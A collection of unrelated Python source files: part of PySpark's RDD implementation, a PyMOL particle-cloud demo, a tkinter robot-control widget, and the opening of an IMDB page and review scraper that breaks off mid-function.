1), ("b", 4)]) >>> y = sc.parallelize([("a", 2)]) >>> sorted(x.leftOuterJoin(y).collect()) [('a', (1, 2)), ('b', (4, None))] """ return python_left_outer_join(self, other, numPartitions) def rightOuterJoin(self, other, numPartitions=None): """ Perform a right outer join of C{self} and C{other}. For each element (k, w) in C{other}, the resulting RDD will either contain all pairs (k, (v, w)) for v in this, or the pair (k, (None, w)) if no elements in C{self} have key k. Hash-partitions the resulting RDD into the given number of partitions. >>> x = sc.parallelize([("a", 1), ("b", 4)]) >>> y = sc.parallelize([("a", 2)]) >>> sorted(y.rightOuterJoin(x).collect()) [('a', (2, 1)), ('b', (None, 4))] """ return python_right_outer_join(self, other, numPartitions) def fullOuterJoin(self, other, numPartitions=None): """ Perform a right outer join of C{self} and C{other}. For each element (k, v) in C{self}, the resulting RDD will either contain all pairs (k, (v, w)) for w in C{other}, or the pair (k, (v, None)) if no elements in C{other} have key k. Similarly, for each element (k, w) in C{other}, the resulting RDD will either contain all pairs (k, (v, w)) for v in C{self}, or the pair (k, (None, w)) if no elements in C{self} have key k. Hash-partitions the resulting RDD into the given number of partitions. >>> x = sc.parallelize([("a", 1), ("b", 4)]) >>> y = sc.parallelize([("a", 2), ("c", 8)]) >>> sorted(x.fullOuterJoin(y).collect()) [('a', (1, 2)), ('b', (4, None)), ('c', (None, 8))] """ return python_full_outer_join(self, other, numPartitions) # TODO: add option to control map-side combining # portable_hash is used as default, because builtin hash of None is different # cross machines. def partitionBy(self, numPartitions, partitionFunc=portable_hash): """ Return a copy of the RDD partitioned using the specified partitioner. >>> pairs = sc.parallelize([1, 2, 3, 4, 2, 4, 1]).map(lambda x: (x, x)) >>> sets = pairs.partitionBy(2).glom().collect() >>> len(set(sets[0]).intersection(set(sets[1]))) 0 """ if numPartitions is None: numPartitions = self._defaultReducePartitions() partitioner = Partitioner(numPartitions, partitionFunc) if self.partitioner == partitioner: return self # Transferring O(n) objects to Java is too expensive. # Instead, we'll form the hash buckets in Python, # transferring O(numPartitions) objects to Java. # Each object is a (splitNumber, [objects]) pair. # In order to avoid too huge objects, the objects are # grouped into chunks. outputSerializer = self.ctx._unbatched_serializer limit = (_parse_memory(self.ctx._conf.get( "spark.python.worker.memory", "512m")) / 2) def add_shuffle_key(split, iterator): buckets = defaultdict(list) c, batch = 0, min(10 * numPartitions, 1000) for k, v in iterator: buckets[partitionFunc(k) % numPartitions].append((k, v)) c += 1 # check used memory and avg size of chunk of objects if (c % 1000 == 0 and get_used_memory() > limit or c > batch): n, size = len(buckets), 0 for split in list(buckets.keys()): yield pack_long(split) d = outputSerializer.dumps(buckets[split]) del buckets[split] yield d size += len(d) avg = int(size / n) >> 20 # let 1M < avg < 10M if avg < 1: batch *= 1.5 elif avg > 10: batch = max(int(batch / 1.5), 1) c = 0 for split, items in buckets.items(): yield pack_long(split) yield outputSerializer.dumps(items) keyed = self.mapPartitionsWithIndex(add_shuffle_key, preservesPartitioning=True) keyed._bypass_serializer = True with SCCallSiteSync(self.context) as css: pairRDD = self.ctx._jvm.PairwiseRDD( keyed._jrdd.rdd()).asJavaPairRDD() jpartitioner = self.ctx._jvm.PythonPartitioner(numPartitions, id(partitionFunc)) jrdd = self.ctx._jvm.PythonRDD.valueOfPair(pairRDD.partitionBy(jpartitioner)) rdd = RDD(jrdd, self.ctx, BatchedSerializer(outputSerializer)) rdd.partitioner = partitioner return rdd # TODO: add control over map-side aggregation def combineByKey(self, createCombiner, mergeValue, mergeCombiners, numPartitions=None, partitionFunc=portable_hash): """ Generic function to combine the elements for each key using a custom set of aggregation functions. Turns an RDD[(K, V)] into a result of type RDD[(K, C)], for a "combined type" C. Users provide three functions: - C{createCombiner}, which turns a V into a C (e.g., creates a one-element list) - C{mergeValue}, to merge a V into a C (e.g., adds it to the end of a list) - C{mergeCombiners}, to combine two C's into a single one (e.g., merges the lists) To avoid memory allocation, both mergeValue and mergeCombiners are allowed to modify and return their first argument instead of creating a new C. In addition, users can control the partitioning of the output RDD. .. note:: V and C can be different -- for example, one might group an RDD of type (Int, Int) into an RDD of type (Int, List[Int]). >>> x = sc.parallelize([("a", 1), ("b", 1), ("a", 2)]) >>> def to_list(a): ... return [a] ... >>> def append(a, b): ... a.append(b) ... return a ... >>> def extend(a, b): ... a.extend(b) ... return a ... >>> sorted(x.combineByKey(to_list, append, extend).collect()) [('a', [1, 2]), ('b', [1])] """ if numPartitions is None: numPartitions = self._defaultReducePartitions() serializer = self.ctx.serializer memory = self._memory_limit() agg = Aggregator(createCombiner, mergeValue, mergeCombiners) def combineLocally(iterator): merger = ExternalMerger(agg, memory * 0.9, serializer) merger.mergeValues(iterator) return merger.items() locally_combined = self.mapPartitions(combineLocally, preservesPartitioning=True) shuffled = locally_combined.partitionBy(numPartitions, partitionFunc) def _mergeCombiners(iterator): merger = ExternalMerger(agg, memory, serializer) merger.mergeCombiners(iterator) return merger.items() return shuffled.mapPartitions(_mergeCombiners, preservesPartitioning=True) def aggregateByKey(self, zeroValue, seqFunc, combFunc, numPartitions=None, partitionFunc=portable_hash): """ Aggregate the values of each key, using given combine functions and a neutral "zero value". This function can return a different result type, U, than the type of the values in this RDD, V. Thus, we need one operation for merging a V into a U and one operation for merging two U's, The former operation is used for merging values within a partition, and the latter is used for merging values between partitions. To avoid memory allocation, both of these functions are allowed to modify and return their first argument instead of creating a new U. """ def createZero(): return copy.deepcopy(zeroValue) return self.combineByKey( lambda v: seqFunc(createZero(), v), seqFunc, combFunc, numPartitions, partitionFunc) def foldByKey(self, zeroValue, func, numPartitions=None, partitionFunc=portable_hash): """ Merge the values for each key using an associative function "func" and a neutral "zeroValue" which may be added to the result an arbitrary number of times, and must not change the result (e.g., 0 for addition, or 1 for multiplication.). >>> rdd = sc.parallelize([("a", 1), ("b", 1), ("a", 1)]) >>> from operator import add >>> sorted(rdd.foldByKey(0, add).collect()) [('a', 2), ('b', 1)] """ def createZero(): return copy.deepcopy(zeroValue) return self.combineByKey(lambda v: func(createZero(), v), func, func, numPartitions, partitionFunc) def _memory_limit(self): return _parse_memory(self.ctx._conf.get("spark.python.worker.memory", "512m")) # TODO: support variant with custom partitioner def groupByKey(self, numPartitions=None, partitionFunc=portable_hash): """ Group the values for each key in the RDD into a single sequence. Hash-partitions the resulting RDD with numPartitions partitions. .. note:: If you are grouping in order to perform an aggregation (such as a sum or average) over each key, using reduceByKey or aggregateByKey will provide much better performance. >>> rdd = sc.parallelize([("a", 1), ("b", 1), ("a", 1)]) >>> sorted(rdd.groupByKey().mapValues(len).collect()) [('a', 2), ('b', 1)] >>> sorted(rdd.groupByKey().mapValues(list).collect()) [('a', [1, 1]), ('b', [1])] """ def createCombiner(x): return [x] def mergeValue(xs, x): xs.append(x) return xs def mergeCombiners(a, b): a.extend(b) return a memory = self._memory_limit() serializer = self._jrdd_deserializer agg = Aggregator(createCombiner, mergeValue, mergeCombiners) def combine(iterator): merger = ExternalMerger(agg, memory * 0.9, serializer) merger.mergeValues(iterator) return merger.items() locally_combined = self.mapPartitions(combine, preservesPartitioning=True) shuffled = locally_combined.partitionBy(numPartitions, partitionFunc) def groupByKey(it): merger = ExternalGroupBy(agg, memory, serializer) merger.mergeCombiners(it) return merger.items() return shuffled.mapPartitions(groupByKey, True).mapValues(ResultIterable) def flatMapValues(self, f): """ Pass each value in the key-value pair RDD through a flatMap function without changing the keys; this also retains the original RDD's partitioning. >>> x = sc.parallelize([("a", ["x", "y", "z"]), ("b", ["p", "r"])]) >>> def f(x): return x >>> x.flatMapValues(f).collect() [('a', 'x'), ('a', 'y'), ('a', 'z'), ('b', 'p'), ('b', 'r')] """ flat_map_fn = lambda kv: ((kv[0], x) for x in f(kv[1])) return self.flatMap(flat_map_fn, preservesPartitioning=True) def mapValues(self, f): """ Pass each value in the key-value pair RDD through a map function without changing the keys; this also retains the original RDD's partitioning. >>> x = sc.parallelize([("a", ["apple", "banana", "lemon"]), ("b", ["grapes"])]) >>> def f(x): return len(x) >>> x.mapValues(f).collect() [('a', 3), ('b', 1)] """ map_values_fn = lambda kv: (kv[0], f(kv[1])) return self.map(map_values_fn, preservesPartitioning=True) def groupWith(self, other, *others): """ Alias for cogroup but with support for multiple RDDs. >>> w = sc.parallelize([("a", 5), ("b", 6)]) >>> x = sc.parallelize([("a", 1), ("b", 4)]) >>> y = sc.parallelize([("a", 2)]) >>> z = sc.parallelize([("b", 42)]) >>> [(x, tuple(map(list, y))) for x, y in sorted(list(w.groupWith(x, y, z).collect()))] [('a', ([5], [1], [2], [])), ('b', ([6], [4], [], [42]))] """ return python_cogroup((self, other) + others, numPartitions=None) # TODO: add variant with custom parittioner def cogroup(self, other, numPartitions=None): """ For each key k in C{self} or C{other}, return a resulting RDD that contains a tuple with the list of values for that key in C{self} as well as C{other}. >>> x = sc.parallelize([("a", 1), ("b", 4)]) >>> y = sc.parallelize([("a", 2)]) >>> [(x, tuple(map(list, y))) for x, y in sorted(list(x.cogroup(y).collect()))] [('a', ([1], [2])), ('b', ([4], []))] """ return python_cogroup((self, other), numPartitions) def sampleByKey(self, withReplacement, fractions, seed=None): """ Return a subset of this RDD sampled by key (via stratified sampling). Create a sample of this RDD using variable sampling rates for different keys as specified by fractions, a key to sampling rate map. >>> fractions = {"a": 0.2, "b": 0.1} >>> rdd = sc.parallelize(fractions.keys()).cartesian(sc.parallelize(range(0, 1000))) >>> sample = dict(rdd.sampleByKey(False, fractions, 2).groupByKey().collect()) >>> 100 < len(sample["a"]) < 300 and 50 < len(sample["b"]) < 150 True >>> max(sample["a"]) <= 999 and min(sample["a"]) >= 0 True >>> max(sample["b"]) <= 999 and min(sample["b"]) >= 0 True """ for fraction in fractions.values(): assert fraction >= 0.0, "Negative fraction value: %s" % fraction return self.mapPartitionsWithIndex( RDDStratifiedSampler(withReplacement, fractions, seed).func, True) def subtractByKey(self, other, numPartitions=None): """ Return each (key, value) pair in C{self} that has no pair with matching key in C{other}. >>> x = sc.parallelize([("a", 1), ("b", 4), ("b", 5), ("a", 2)]) >>> y = sc.parallelize([("a", 3), ("c", None)]) >>> sorted(x.subtractByKey(y).collect()) [('b', 4), ('b', 5)] """ def filter_func(pair): key, (val1, val2) = pair return val1 and not val2 return self.cogroup(other, numPartitions).filter(filter_func).flatMapValues(lambda x: x[0]) def subtract(self, other, numPartitions=None): """ Return each value in C{self} that is not contained in C{other}. >>> x = sc.parallelize([("a", 1), ("b", 4), ("b", 5), ("a", 3)]) >>> y = sc.parallelize([("a", 3), ("c", None)]) >>> sorted(x.subtract(y).collect()) [('a', 1), ('b', 4), ('b', 5)] """ # note: here 'True' is just a placeholder rdd = other.map(lambda x: (x, True)) return self.map(lambda x: (x, True)).subtractByKey(rdd, numPartitions).keys() def keyBy(self, f): """ Creates tuples of the elements in this RDD by applying C{f}. >>> x = sc.parallelize(range(0,3)).keyBy(lambda x: x*x) >>> y = sc.parallelize(zip(range(0,5), range(0,5))) >>> [(x, list(map(list, y))) for x, y in sorted(x.cogroup(y).collect())] [(0, [[0], [0]]), (1, [[1], [1]]), (2, [[], [2]]), (3, [[], [3]]), (4, [[2], [4]])] """ return self.map(lambda x: (f(x), x)) def repartition(self, numPartitions): """ Return a new RDD that has exactly numPartitions partitions. Can increase or decrease the level of parallelism in this RDD. Internally, this uses a shuffle to redistribute data. If you are decreasing the number of partitions in this RDD, consider using `coalesce`, which can avoid performing a shuffle. >>> rdd = sc.parallelize([1,2,3,4,5,6,7], 4) >>> sorted(rdd.glom().collect()) [[1], [2, 3], [4, 5], [6, 7]] >>> len(rdd.repartition(2).glom().collect()) 2 >>> len(rdd.repartition(10).glom().collect()) 10 """ return self.coalesce(numPartitions, shuffle=True) def coalesce(self, numPartitions, shuffle=False): """ Return a new RDD that is reduced into `numPartitions` partitions. >>> sc.parallelize([1, 2, 3, 4, 5], 3).glom().collect() [[1], [2, 3], [4, 5]] >>> sc.parallelize([1, 2, 3, 4, 5], 3).coalesce(1).glom().collect() [[1, 2, 3, 4, 5]] """ if shuffle: # Decrease the batch size in order to distribute evenly the elements across output # partitions. Otherwise, repartition will possibly produce highly skewed partitions. batchSize = min(10, self.ctx._batchSize or 1024) ser = BatchedSerializer(PickleSerializer(), batchSize) selfCopy = self._reserialize(ser) jrdd_deserializer = selfCopy._jrdd_deserializer jrdd = selfCopy._jrdd.coalesce(numPartitions, shuffle) else: jrdd_deserializer = self._jrdd_deserializer jrdd = self._jrdd.coalesce(numPartitions, shuffle) return RDD(jrdd, self.ctx, jrdd_deserializer) def zip(self, other): """ Zips this RDD with another one, returning key-value pairs with the first element in each RDD second element in each RDD, etc. Assumes that the two RDDs have the same number of partitions and the same number of elements in each partition (e.g. one was made through a map on the other). >>> x = sc.parallelize(range(0,5)) >>> y = sc.parallelize(range(1000, 1005)) >>> x.zip(y).collect() [(0, 1000), (1, 1001), (2, 1002), (3, 1003), (4, 1004)] """ def get_batch_size(ser): if isinstance(ser, BatchedSerializer): return ser.batchSize return 1 # not batched def batch_as(rdd, batchSize): return rdd._reserialize(BatchedSerializer(PickleSerializer(), batchSize)) my_batch = get_batch_size(self._jrdd_deserializer) other_batch = get_batch_size(other._jrdd_deserializer) if my_batch != other_batch or not my_batch: # use the smallest batchSize for both of them batchSize = min(my_batch, other_batch) if batchSize <= 0: # auto batched or unlimited batchSize = 100 other = batch_as(other, batchSize) self = batch_as(self, batchSize) if self.getNumPartitions() != other.getNumPartitions(): raise ValueError("Can only zip with RDD which has the same number of partitions") # There will be an Exception in JVM if there are different number # of items in each partitions. pairRDD = self._jrdd.zip(other._jrdd) deserializer = PairDeserializer(self._jrdd_deserializer, other._jrdd_deserializer) return RDD(pairRDD, self.ctx, deserializer) def zipWithIndex(self): """ Zips this RDD with its element indices. The ordering is first based on the partition index and then the ordering of items within each partition. So the first item in the first partition gets index 0, and the last item in the last partition receives the largest index. This method needs to trigger a spark job when this RDD contains more than one partitions. >>> sc.parallelize(["a", "b", "c", "d"], 3).zipWithIndex().collect() [('a', 0), ('b', 1), ('c', 2), ('d', 3)] """ starts = [0] if self.getNumPartitions() > 1: nums = self.mapPartitions(lambda it: [sum(1 for i in it)]).collect() for i in range(len(nums) - 1): starts.append(starts[-1] + nums[i]) def func(k, it): for i, v in enumerate(it, starts[k]): yield v, i return self.mapPartitionsWithIndex(func) def zipWithUniqueId(self): """ Zips this RDD with generated unique Long ids. Items in the kth partition will get ids k, n+k, 2*n+k, ..., where n is the number of partitions. So there may exist gaps, but this method won't trigger a spark job, which is different from L{zipWithIndex} >>> sc.parallelize(["a", "b", "c", "d", "e"], 3).zipWithUniqueId().collect() [('a', 0), ('b', 1), ('c', 4), ('d', 2), ('e', 5)] """ n = self.getNumPartitions() def func(k, it): for i, v in enumerate(it): yield v, i * n + k return self.mapPartitionsWithIndex(func) def name(self): """ Return the name of this RDD. """ n = self._jrdd.name() if n: return n @ignore_unicode_prefix def setName(self, name): """ Assign a name to this RDD. >>> rdd1 = sc.parallelize([1, 2]) >>> rdd1.setName('RDD1').name() u'RDD1' """ self._jrdd.setName(name) return self def toDebugString(self): """ A description of this RDD and its recursive dependencies for debugging. """ debug_string = self._jrdd.toDebugString() if debug_string: return debug_string.encode('utf-8') def getStorageLevel(self): """ Get the RDD's current storage level. >>> rdd1 = sc.parallelize([1,2]) >>> rdd1.getStorageLevel() StorageLevel(False, False, False, False, 1) >>> print(rdd1.getStorageLevel()) Serialized 1x Replicated """ java_storage_level = self._jrdd.getStorageLevel() storage_level = StorageLevel(java_storage_level.useDisk(), java_storage_level.useMemory(), java_storage_level.useOffHeap(), java_storage_level.deserialized(), java_storage_level.replication()) return storage_level def _defaultReducePartitions(self): """ Returns the default number of partitions to use during reduce tasks (e.g., groupBy). If spark.default.parallelism is set, then we'll use the value from SparkContext defaultParallelism, otherwise we'll use the number of partitions in this RDD. This mirrors the behavior of the Scala Partitioner#defaultPartitioner, intended to reduce the likelihood of OOMs. Once PySpark adopts Partitioner-based APIs, this behavior will be inherent. """ if self.ctx._conf.contains("spark.default.parallelism"): return self.ctx.defaultParallelism else: return self.getNumPartitions() def lookup(self, key): """ Return the list of values in the RDD for key `key`. This operation is done efficiently if the RDD has a known partitioner by only searching the partition that the key maps to. >>> l = range(1000) >>> rdd = sc.parallelize(zip(l, l), 10) >>> rdd.lookup(42) # slow [42] >>> sorted = rdd.sortByKey() >>> sorted.lookup(42) # fast [42] >>> sorted.lookup(1024) [] >>> rdd2 = sc.parallelize([(('a', 'b'), 'c')]).groupByKey() >>> list(rdd2.lookup(('a', 'b'))[0]) ['c'] """ values = self.filter(lambda kv: kv[0] == key).values() if self.partitioner is not None: return self.ctx.runJob(values, lambda x: x, [self.partitioner(key)]) return values.collect() def _to_java_object_rdd(self): """ Return a JavaRDD of Object by unpickling It will convert each Python object into Java object by Pyrolite, whenever the RDD is serialized in batch or not. """ rdd = self._pickled() return self.ctx._jvm.SerDeUtil.pythonToJava(rdd._jrdd, True) def countApprox(self, timeout, confidence=0.95): """ .. note:: Experimental Approximate version of count() that returns a potentially incomplete result within a timeout, even if not all tasks have finished. >>> rdd = sc.parallelize(range(1000), 10) >>> rdd.countApprox(1000, 1.0) 1000 """ drdd = self.mapPartitions(lambda it: [float(sum(1 for i in it))]) return int(drdd.sumApprox(timeout, confidence)) def sumApprox(self, timeout, confidence=0.95): """ .. note:: Experimental Approximate operation to return the sum within a timeout or meet the confidence. >>> rdd = sc.parallelize(range(1000), 10) >>> r = sum(range(1000)) >>> abs(rdd.sumApprox(1000) - r) / r < 0.05 True """ jrdd = self.mapPartitions(lambda it: [float(sum(it))])._to_java_object_rdd() jdrdd = self.ctx._jvm.JavaDoubleRDD.fromRDD(jrdd.rdd()) r = jdrdd.sumApprox(timeout, confidence).getFinalValue() return BoundedFloat(r.mean(), r.confidence(), r.low(), r.high()) def meanApprox(self, timeout, confidence=0.95): """ .. note:: Experimental Approximate operation to return the mean within a timeout or meet the confidence. >>> rdd = sc.parallelize(range(1000), 10) >>> r = sum(range(1000)) / 1000.0 >>> abs(rdd.meanApprox(1000) - r) / r < 0.05 True """ jrdd = self.map(float)._to_java_object_rdd() jdrdd = self.ctx._jvm.JavaDoubleRDD.fromRDD(jrdd.rdd()) r = jdrdd.meanApprox(timeout, confidence).getFinalValue() return BoundedFloat(r.mean(), r.confidence(), r.low(), r.high()) def countApproxDistinct(self, relativeSD=0.05): """ .. note:: Experimental Return approximate number of distinct elements in the RDD. The algorithm used is based on streamlib's implementation of `"HyperLogLog in Practice: Algorithmic Engineering of a State of The Art Cardinality Estimation Algorithm", available here <http://dx.doi.org/10.1145/2452376.2452456>`_. :param relativeSD: Relative accuracy. Smaller values create counters that require more space. It must be greater than 0.000017. >>> n = sc.parallelize(range(1000)).map(str).countApproxDistinct() >>> 900 < n < 1100 True >>> n = sc.parallelize([i % 20 for i in range(1000)]).countApproxDistinct() >>> 16 < n < 24 True """ if relativeSD < 0.000017: raise ValueError("relativeSD should be greater than 0.000017") # the hash space in Java is 2^32 hashRDD = self.map(lambda x: portable_hash(x) & 0xFFFFFFFF) return hashRDD._to_java_object_rdd().countApproxDistinct(relativeSD) def toLocalIterator(self): """ Return an iterator that contains all of the elements in this RDD. The iterator will consume as much memory as the largest partition in this RDD. >>> rdd = sc.parallelize(range(10)) >>> [x for x in rdd.toLocalIterator()] [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] """ with SCCallSiteSync(self.context) as css: port = self.ctx._jvm.PythonRDD.toLocalIteratorAndServe(self._jrdd.rdd()) return _load_from_socket(port, self._jrdd_deserializer) def _prepare_for_python_RDD(sc, command): # the serialized command will be compressed by broadcast ser = CloudPickleSerializer() pickled_command = ser.dumps(command) if len(pickled_command) > (1 << 20): # 1M # The broadcast will have same life cycle as created PythonRDD broadcast = sc.broadcast(pickled_command) pickled_command = ser.dumps(broadcast) broadcast_vars = [x._jbroadcast for x in sc._pickled_broadcast_vars] sc._pickled_broadcast_vars.clear() return pickled_command, broadcast_vars, sc.environment, sc._python_includes def _wrap_function(sc, func, deserializer, serializer, profiler=None): assert deserializer, "deserializer should not be empty" assert serializer, "serializer should not be empty" command = (func, profiler, deserializer, serializer) pickled_command, broadcast_vars, env, includes = _prepare_for_python_RDD(sc, command) return sc._jvm.PythonFunction(bytearray(pickled_command), env, includes, sc.pythonExec, sc.pythonVer, broadcast_vars, sc._javaAccumulator) class PipelinedRDD(RDD): """ Pipelined maps: >>> rdd = sc.parallelize([1, 2, 3, 4]) >>> rdd.map(lambda x: 2 * x).cache().map(lambda x: 2 * x).collect() [4, 8, 12, 16] >>> rdd.map(lambda x: 2 * x).map(lambda x: 2 * x).collect() [4, 8, 12, 16] Pipelined reduces: >>> from operator import add >>> rdd.map(lambda x: 2 * x).reduce(add) 20 >>> rdd.flatMap(lambda x: [x, x]).reduce(add) 20 """ def __init__(self, prev, func, preservesPartitioning=False): if not isinstance(prev, PipelinedRDD) or not prev._is_pipelinable(): # This transformation is the first in its stage: self.func = func self.preservesPartitioning = preservesPartitioning self._prev_jrdd = prev._jrdd self._prev_jrdd_deserializer = prev._jrdd_deserializer else: prev_func = prev.func def pipeline_func(split, iterator): return func(split, prev_func(split, iterator)) self.func = pipeline_func self.preservesPartitioning = \ prev.preservesPartitioning and preservesPartitioning self._prev_jrdd = prev._prev_jrdd # maintain the pipeline self._prev_jrdd_deserializer = prev._prev_jrdd_deserializer self.is_cached = False self.is_checkpointed = False self.ctx = prev.ctx self.prev = prev self._jrdd_val = None self._id = None self._jrdd_deserializer = self.ctx.serializer self._bypass_serializer = False self.partitioner = prev.partitioner if self.preservesPartitioning else None def getNumPartitions(self): return self._prev_jrdd.partitions().size() @property def _jrdd(self): if self._jrdd_val: return self._jrdd_val if self._bypass_serializer: self._jrdd_deserializer = NoOpSerializer() if self.ctx.profiler_collector: profiler = self.ctx.profiler_collector.new_profiler(self.ctx) else: profiler = None wrapped_func = _wrap_function(self.ctx, self.func, self._prev_jrdd_deserializer, self._jrdd_deserializer, profiler) python_rdd = self.ctx._jvm.PythonRDD(self._prev_jrdd.rdd(), wrapped_func, self.preservesPartitioning) self._jrdd_val = python_rdd.asJavaRDD() if profiler: self._id = self._jrdd_val.id() self.ctx.profiler_collector.add_profiler(self._id, profiler) return self._jrdd_val def id(self): if self._id is None: self._id = self._jrdd.id() return self._id def _is_pipelinable(self): return not (self.is_cached or self.is_checkpointed) def _test(): import doctest from pyspark.context import SparkContext globs = globals().copy() # The small batch size here ensures that we see multiple batches, # even in these small test examples: globs['sc'] = SparkContext('local[4]', 'PythonTest') (failure_count, test_count) = doctest.testmod( globs=globs, optionflags=doctest.ELLIPSIS) globs['sc'].stop() if failure_count: exit(-1) if __name__ == "__main__": _test()
particle01.py
# demonstration of a particle cloud (non-interacting) from random import random from pymol import cmd particle_count = 1000 box_size = 500.0 # constants half_box = box_size / 2 # create N particle system [x,y,z,r,vx,vy,vz] particle = [] for resi in range(0,particle_count): particle.append([resi] + [(random()-0.5)*box_size/2 for x in [0]*3] + # x,y,z [random()+0.5] + # r [(random()-0.5) for x in [0]*3] # vx,vy,vz ) # create cloud object for part in particle: cmd.pseudoatom("cloud", resi = part[0], pos = part[1:4], vdw = part[4]) # draw spheres efficiently cmd.show_as("spheres") try: cmd.unset("cull_spheres") except: pass # position the camera cmd.zoom() cmd.zoom("center",box_size) # let there be color cmd.spectrum() # this is the main loop def simulation(): import traceback try: while 1: for part in particle: # simplistic Euler intergration # p = p + v part[1] = (half_box + part[1] + part[5]) % box_size - half_box part[2] = (half_box + part[2] + part[6]) % box_size - half_box part[3] = (half_box + part[3] + part[7]) % box_size - half_box # v = v + pseudo-gravitational acceleration factor = max(0.1*box_size, 0.1*(part[1]**2+part[2]**2+part[3]**2)**1.5) part[5] = part[5] - part[1] / factor part[6] = part[6] - part[2] / factor part[7] = part[7] - part[3] / factor cmd.alter_state(1,"cloud","(x,y,z) = particle[int(resi)][1:4]",space=globals()) cmd.refresh() except: traceback.print_exc() # launch the main loop in a separate thread import threading thread = threading.Thread(target=simulation) thread.setDaemon(1) thread.start()
widget.py
from threading import Thread from abc import ABC, abstractmethod import tkinter as tk from lib.app import Application from lib.system import System class Control: _parent: Application _system: System def __init__(self, parent): self._parent = parent self._system = parent.system @property def x(self) -> float: return self._parent.targetXVar.get() @x.setter def x(self, value): self._parent.targetXVar.set(value) @property def y(self) -> float: return self._parent.targetYVar.get() @y.setter def y(self, value): return self._parent.targetYVar.set(value) @property def z(self) -> float: return self._parent.targetZVar.get() @z.setter def z(self, value): self._parent.targetZVar.set(value) @property def r(self) -> float: return self._parent.targetRVar.get() @r.setter def r(self, value): self._parent.targetRVar.set(value) @property def e(self) -> int: return self._parent.targetEVar.get() @e.setter def e(self, value): self._parent.targetEVar.set(value) def jog(self, *args, duration=None, timeout=None, epsilon=None): t1, t2 = self._system.cartesianToDualPolar(self.x, self.y) z = self.z r = self.r e = self.e if 'smooth' in args: assert duration is not None, 'Duration must be specified for smooth move.' assert duration > 0, 'Timeout must be greater than 0.' assert timeout is not None, 'Timeout must be specified for smooth move.' assert timeout > 0, 'Timeout must be greater than 0.' assert epsilon is not None, 'Epsilon must be specified for smooth move.' assert epsilon > 0, 'Epsilon must be greater than 0.' self._system.smoothMove( duration, timeout, epsilon, t1=t1, t2=t2, z=z, r=r, e=e) else: self._system.jog(t1=t1, t2=t2, z=z, r=r, e=e) class Widget(tk.Toplevel, ABC): control: Control alive: bool = False def __init__(self, parent): self.control = Control(parent) def show(self): if not self.alive: super().__init__(self.control._parent) self.resizable(False, False) self.protocol("WM_DELETE_WINDOW", self.close) self.alive = True Thread(target=self.setup, daemon=True).start() def close(self): self.destroy() self.alive = False @abstractmethod def setup(self): pass
ImdbScraper.py
import json import re import datetime as dt from scrapetools import * import logging import random import threading import queue import pandas as pd import timeit from bson import json_util logging.basicConfig(level=logging.DEBUG, format=' %(asctime)s - %(levelname)s - %(message)s') class ImdbScraper: def __init__(self, movie_codes): self.movie_codes = movie_codes self.movies = None # scrape the main page of IMDB title def scrape_main(self, id_code): main_site = 'https://www.imdb.com/title/{}/{}'.format(id_code, '') page_html = page_parser(main_site) main_dict = {} # Some general title information gen_info = json.loads(page_html.find('script', {'type': 'application/ld+json'}).text) main_dict.update(gen_info) re_money = re.compile('(\w*)\$?(\d{1,3},?)(\d{3},?)*') re_dmy = re.compile( '\d{1,2}(th|st|nd)?[-\s/](((Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec).?)|(January|February|March|April|May|June|July|August|September|October|November|December)|[2-9]|1[0-2]?),?[-\s/](((20|19|18)\d{2})|\d{2})') def get_money(money_str): def money_to_int(str_val): # Need the currency in output if not USD if type(budget) is str: str_val = str_val.replace('$', '').replace(',', '') if str_val.isdigit(): int_val = int(str_val) return int_val return '' match_str = re_money.search(money_str) if not match_str: return '' money_str = match_str.group(0) return money_str details = page_html.find('div', {'id': 'titleDetails'}) release = '' budget = '' opening = '' gross = '' cumulative = '' for div in details.find_all('div'): if div.h4: name = div.h4.text.strip() val_str = release_str = div.text.strip().split('\n')[0] if 'Release Date:' == name: match = re_dmy.search(val_str) release = match.group(0) if release: release = dt.datetime.strptime(release, '%d %B %Y') elif 'Budget:' == name: budget = get_money(val_str) elif 'Opening Weekend' in name: opening = get_money(val_str) elif 'Gross' in name: gross = get_money(val_str) elif 'Cumulative' in name: cumulative = get_money(val_str) main_dict['release'] = release main_dict['budget'] = budget main_dict['opening'] = opening main_dict['gross'] = gross main_dict['cumulative'] = cumulative return main_dict def scrape_reviews(self, id_code: str): # Grabs the top 25 'most helpful' reviews review_site = 'https://www.imdb.com/title/{}/{}/_ajax'.format((id_code), 'reviews') page_html = page_parser(review_site) reviews = page_html.find_all('div', {'class': 'lister-item-content'}) counter = 0 review_dict = {} for review in reviews: review_dict[counter] = {} try: num_str = review.div.span.span.text.strip() review_dict[counter]['score'] = int(num_str) if num_str.isdigit() else None except AttributeError: review_dict[counter]['score'] = None try: review_dict[counter]['title'] = review.a.text.strip() except AttributeError: review_dict[counter]['title'] = None try: name_date = review.find('div', {'class': 'display-name-date'}) review_dict[counter]['name'] = name_date.span.text.strip() date = name_date.span.find_next_sibling('span').text.strip() review_dict[counter]['date'] = dt.datetime.strptime(date, '%d %B %Y') except AttributeError: review_dict[counter]['name'] = None review_dict[counter]['date'] = None content = review.find('div', {'class': 'content'}) try: review_dict[counter]['text'] = content.div.text.strip() except AttributeError: review_dict[counter]['text'] = None try: helpfulness = content.div.find_next_sibling('div').text.strip().split('\n')[0] review_dict[counter]['helpfulness'] = [int(h.replace(',', '')) for h in helpfulness.split() if h.replace(',', '').isdigit()] except AttributeError: review_dict[counter]['helpfulness'] = None counter += 1 return {'top_25_reviews': review_dict} def scrape_ratings(self, id_code: str, output_tuples: bool=False): ratings_site = 'https://www.imdb.com/title/{}/{}'.format(id_code, 'ratings') page_html = page_parser(ratings_site) rating_dict = {} # Aggregate statistics main_div = page_html.find('div', {'class': 'title-ratings-sub-page'}) num_users_weighted_avg = main_div.find('div', {'class': 'allText'}).text.strip().split() num_users_weighted_avg = [i.strip() for i in num_users_weighted_avg if i.strip().replace(',', '').replace('.', '').isdigit()] rating_dict['num_users'] = int(num_users_weighted_avg[0].replace(',', '')) rating_dict['weighted_avg'] = float(num_users_weighted_avg[1]) mean_median = main_div.find('div', {'class': 'allText', 'align': 'center'}).text.strip().split() mean_median = [i.strip() for i in mean_median if i.strip().replace(',', '').replace('.', '').isdigit()] rating_dict['mean'] = float(mean_median[0]) rating_dict['median'] = float(mean_median[1]) # Tables tables = main_div.find_all('table') # Rating distribution table rating_dict['rating_dist'] = {} if len(tables) > 1: dist_table = tables[0].find_all('tr') rating_dist = pd.DataFrame(index=range(1, 11), columns=['count', 'percentage']) for tr in dist_table[1:]: 